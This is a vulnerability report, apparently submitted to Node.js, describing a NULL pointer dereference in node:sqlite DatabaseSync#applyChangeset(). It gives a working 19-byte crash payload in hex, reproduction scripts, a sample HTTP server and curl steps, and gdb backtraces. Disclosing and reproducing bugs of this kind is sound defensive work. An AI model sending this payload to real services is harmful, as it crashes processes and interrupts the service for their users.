Node.js · Report #3736889
NULL pointer dereference in node:sqlite DatabaseSync#applyChangeset() via malformed SQLite changeset
How it was found
Summary: A 19-byte malformed SQLite changeset passed to Node.js node:sqlite DatabaseSync#applyChangeset() causes a native NULL pointer dereference and terminates the Node.js process.
Description: The built-in Node.js node:sqlite API exposes DatabaseSync#applyChangeset(changeset[, options]), which accepts a Uint8Array binary changeset and is documented as a wrapper around SQLite sqlite3changeset_apply().
I found a malformed 19-byte changeset that causes a process crash when passed to DatabaseSync#applyChangeset() against a compatible target schema. The failure is not a JavaScript exception that an application can catch. The process terminates with SIGSEGV / exit 139.
The issue is reachable through a public Node.js API. I also included an end-to-end HTTP PoC showing the practical consumer scenario: a minimal Node.js HTTP service reads the request body as a changeset and calls db.applyChangeset(body). A single POST request containing the 19-byte payload causes the server process to crash.
Tested official Node.js Linux x64 builds:
| Node.js version | Bundled SQLite version | Result |
|---|---|---|
| v22.22.3 | 3.51.3 | SIGSEGV / exit 139 |
| v24.15.0 | 3.51.3 | SIGSEGV / exit 139 |
| v26.1.0 | 3.53.0 | SIGSEGV / exit 139 |
I also reproduced the underlying sqlite3changeset_apply() crash with standalone SQLite upstream 3.53.1, which is the latest SQLite release I found in the official SQLite release history at the time of testing. This supports that the root cause is still present in current upstream SQLite, while the Node.js-specific impact is reachability through the public node:sqlite API.
Steps To Reproduce:
I attached a self-contained PoC package:
Nodejs_PoC.zip
Payload file inside the package:
poc/nullpk_19b.changeset
Payload hex:
54 04 01 00 00 00 74 31 00 17 7e 00 72 28 65 65 28 65 65
Direct API crash
-
Extract the attached PoC package on Linux or WSL:
unzip Nodejs_PoC.zip cd Nodejs_PoC
2. Point `NODE_BIN` to an affected Node.js binary. For example:
```sh
export NODE_BIN=/path/to/node
$NODE_BIN --version
I reproduced with official Linux x64 Node.js v22.22.3, v24.15.0, and v26.1.0.
-
Run the direct API PoC:
NODE_BIN=$NODE_BIN ./run_direct.sh -
Expected result:
NODE_BIN=/path/to/node node=v22.22.3 sqlite=3.51.3 payload_len=19 Segmentation fault (core dumped)
HTTP end-to-end crash
-
In terminal 1, start the sample HTTP service:
cd sqlite_node_applychangeset_submission_package_20260515 export NODE_BIN=/path/to/node NODE_BIN=$NODE_BIN ./run_http_server.shExpected:
NODE_BIN=/path/to/node node=v22.22.3 sqlite=3.51.3 listening=http://127.0.0.1:31337/apply -
In terminal 2, confirm that the endpoint is alive with an empty POST:
curl -i -X POST http://127.0.0.1:31337/apply \ -H 'Content-Type: application/octet-stream' \ --data-binary ''Expected client result:
HTTP/1.1 200 OK ... okExpected server log:
received=0 -
In terminal 2, send the malformed 19-byte changeset:
./run_http_client.sh http://127.0.0.1:31337/applyExpected client result:
url=http://127.0.0.1:31337/apply payload_len=19 request_error=RemoteDisconnected: Remote end closed connection without responseExpected server result:
received=19 Segmentation fault (core dumped)
I also reproduced the HTTP PoC manually on WSL using the official Node.js v22.22.3 Linux x64 binary. The server logged received=0 for the empty POST, then received=19 for the malformed changeset, and then terminated with Segmentation fault (core dumped).
For the standalone SQLite upstream check, I compiled SQLite 3.53.1 with SQLITE_ENABLE_SESSION and SQLITE_ENABLE_PREUPDATE_HOOK, then ran the attached C harness against the same 19-byte changeset. It printed sqlite_version=3.53.1, payload_len=19, and then exited with SIGSEGV / exit 139. The gdb stack again reached sqlite3_value_type(NULL) through sessionBindValue(), sessionApplyOneOp(), and sqlite3changeset_apply().
I am not claiming that the Node.js wrapper itself is the root cause. The links below document the Node.js reachability path: in the current Node.js source, DatabaseSync::ApplyChangeset() accepts a Uint8Array and forwards it to SQLite sqlite3changeset_apply(), where the native crash occurs in the tested binaries. The tested release binaries show the same call path in the gdb backtrace.
DatabaseSync::ApplyChangeset():https://github.com/nodejs/node/blob/main/src/node_sqlite.cc#L2244- the wrapper forwards the supplied
Uint8Arraytosqlite3changeset_apply():https://github.com/nodejs/node/blob/main/src/node_sqlite.cc#L2347-L2353 applyChangesetis exposed onDatabaseSync:https://github.com/nodejs/node/blob/main/src/node_sqlite.cc#L3954-L3955
The gdb stack from the attached logs:
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
#0 sessionApplyOneOp()
#1 sessionApplyOneWithRetry()
#2 sessionChangesetApply()
#3 sqlite3changeset_apply()
#4 node::sqlite::DatabaseSync::ApplyChangeset(...)
## Impact
A Node.js process can be terminated by attacker-controlled changeset bytes when an application accepts a SQLite changeset across a trust boundary and passes it to `DatabaseSync#applyChangeset()`.
The attached HTTP PoC demonstrates the network-facing consumer pattern:
```js
req.on('end', () => {
const changeset = Buffer.concat(chunks);
db.applyChangeset(changeset);
});
Because the failure is a native SIGSEGV in the SQLite apply path, JavaScript try/catch around application-level logic cannot reliably recover once the process faults. Supervisors such as systemd, PM2, or Kubernetes may restart the process, but repeated requests can still cause repeated service interruption.
This report should be treated as availability-only:
- Confidentiality: none demonstrated
- Integrity: none demonstrated
- Availability: high, process termination
If Node.js triage considers only direct local API invocation rather than a network-consuming application, a lower local-attack vector may be more appropriate. I selected the network vector because Node.js exposes the affected primitive as a public API intended for applying binary changesets, and the attached HTTP PoC shows a realistic network service pattern.